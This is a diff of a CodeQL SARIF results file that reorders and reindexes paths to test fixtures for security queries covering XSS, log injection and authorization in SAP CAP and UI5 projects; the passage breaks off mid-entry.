+16504,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 58 + "index" : 36 } } } ], @@ -16402,9 +16527,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 36 + "index" : 58 } } } ], @@ -16427,7 +16552,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 287 + "index" : 289 } } } ], @@ -16450,7 +16575,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 189 + "index" : 190 } } } ], @@ -16471,9 +16596,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 157 + "index" : 298 } } } ], @@ -16494,9 +16619,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 296 + "index" : 158 } } } ], @@ -16519,7 +16644,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 205 + "index" : 207 } } } ], @@ -16542,7 +16667,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 293 + "index" : 295 } } } ], @@ -16565,7 +16690,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js", "uriBaseId" : "%SRCROOT%", - "index" : 105 + "index" : 91 } } } ], @@ -16588,7 +16713,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 269 + "index" : 271 } } } ], @@ -16609,9 +16734,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 122 + "index" : 277 } } } ], @@ -16634,7 +16759,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 409 + "index" : 410 } } } ], @@ -16655,9 +16780,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js", "uriBaseId" : "%SRCROOT%", - "index" : 275 + "index" : 124 } } } ], @@ -16680,7 +16805,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 258 + "index" : 260 } } } ], @@ -16703,30 +16828,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 284 - } - } - } ], - "message" : { - "text" : "" - }, - "level" : "none", - "descriptor" : { - "id" : "cli/expected-extracted-files/javascript", - "index" : 0 - }, - "properties" : { - "formattedMessage" : { - "text" : "" - } - } - }, { - "locations" : [ { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/server.js", - "uriBaseId" : "%SRCROOT%", - "index" : 97 + "index" : 286 } } } ], @@ -16749,7 +16851,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js", "uriBaseId" : "%SRCROOT%", - "index" : 260 + "index" : 262 } } } ], @@ -16772,7 +16874,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 305 + "index" : 307 } } } ], @@ -16795,7 +16897,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 196 + "index" : 198 } } } ], @@ -16818,7 +16920,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 313 + "index" : 315 } } } ], @@ -16864,7 +16966,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 236 + "index" : 235 } } } ], @@ -16887,7 +16989,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 399 + "index" : 401 } } } ], @@ -16933,7 +17035,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 223 + "index" : 226 } } } ], @@ -16956,7 +17058,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 267 + "index" : 269 } } } ], @@ -17002,7 +17104,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js", "uriBaseId" : "%SRCROOT%", - "index" : 247 + "index" : 249 } } } ], @@ -17025,7 +17127,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js", "uriBaseId" : "%SRCROOT%", - "index" : 253 + "index" : 255 } } } ], @@ -17048,7 +17150,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js", "uriBaseId" : "%SRCROOT%", - "index" : 243 + "index" : 245 } } } ], @@ -17094,7 +17196,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 181 + "index" : 183 } } } ], @@ -17117,7 +17219,7 @@ "artifactLocation" : { "uri" : "scripts/CreateTestsFromYaml.py", "uriBaseId" : "%SRCROOT%", - "index" : 417 + "index" : 419 } } } ], @@ -17181,37 +17283,37 @@ } }, { "location" : { - "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml", + "uri" : ".github/codeql/codeql-config.yaml", "uriBaseId" : "%SRCROOT%", "index" : 7 } }, { "location" : { - "uri" : ".github/codeql/codeql-config.yaml", + "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 8 } }, { "location" : { - "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/qlpack.yml", + "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 9 } }, { "location" : { - "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml", + "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 10 } }, { "location" : { - "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/ui5.model.yml", + "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 11 } }, { "location" : { - "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/qlpack.yml", + "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/ui5.model.yml", "uriBaseId" : "%SRCROOT%", "index" : 12 } @@ -17253,7 +17355,7 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/lib/codeql-pack.lock.yml", + "uri" : "javascript/frameworks/cap/lib/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 19 } @@ -17265,7 +17367,7 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/lib/qlpack.yml", + "uri" : "javascript/frameworks/cap/lib/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 21 } @@ -17283,13 +17385,13 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 24 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/qlpack.yml", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 25 } @@ -17301,49 +17403,49 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/server.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 27 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/server.js", "uriBaseId" : "%SRCROOT%", "index" : 28 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 29 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 30 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 31 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/package.json", "uriBaseId" : "%SRCROOT%", "index" : 32 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/server.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 33 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/package.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/server.js", "uriBaseId" : "%SRCROOT%", "index" : 34 } @@ -17397,25 +17499,25 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 43 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 44 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 45 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/package.json", "uriBaseId" : "%SRCROOT%", "index" : 46 } @@ -17427,13 +17529,13 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 48 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/package.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 49 } @@ -17451,13 +17553,13 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 52 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 53 } @@ -17475,13 +17577,13 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/srv/privileged-user.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 56 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/srv/privileged-user.js", "uriBaseId" : "%SRCROOT%", "index" : 57 } @@ -17505,31 +17607,31 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/package.json", "uriBaseId" : "%SRCROOT%", "index" : 61 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/package.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/server.js", "uriBaseId" : "%SRCROOT%", "index" : 62 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/server.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 63 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 64 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 65 } @@ -17541,37 +17643,37 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 67 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 68 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/package.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/server.js", "uriBaseId" : "%SRCROOT%", "index" : 69 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/server.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/package.json", "uriBaseId" : "%SRCROOT%", "index" : 70 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 71 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 72 } @@ -17583,43 +17685,43 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 74 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/package.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 75 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/package.json", "uriBaseId" : "%SRCROOT%", "index" : 76 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/server.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 77 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/server.js", "uriBaseId" : "%SRCROOT%", "index" : 78 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 79 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 80 } @@ -17667,151 +17769,151 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 88 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 89 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/package.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json", "uriBaseId" : "%SRCROOT%", "index" : 90 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/server.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js", "uriBaseId" : "%SRCROOT%", "index" : 91 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 92 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 93 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 94 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 95 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 96 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/server.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json", "uriBaseId" : "%SRCROOT%", "index" : 97 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/package.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 98 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 99 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js", "uriBaseId" : "%SRCROOT%", "index" : 100 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 101 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 102 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 103 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json", "uriBaseId" : "%SRCROOT%", "index" : 104 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js", "uriBaseId" : "%SRCROOT%", "index" : 105 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 106 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 107 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 108 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 109 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/package.json", "uriBaseId" : "%SRCROOT%", "index" : 110 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/package.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js", "uriBaseId" : "%SRCROOT%", "index" : 111 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", "index" : 112 } @@ -17823,13 +17925,13 @@ } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.cds.json", "uriBaseId" : "%SRCROOT%", "index" : 114 } }, { "location" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.cds.json", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", "index" : 115 } @@ -17841,301 +17943,301 @@ } }, { "location" : { - "uri" : 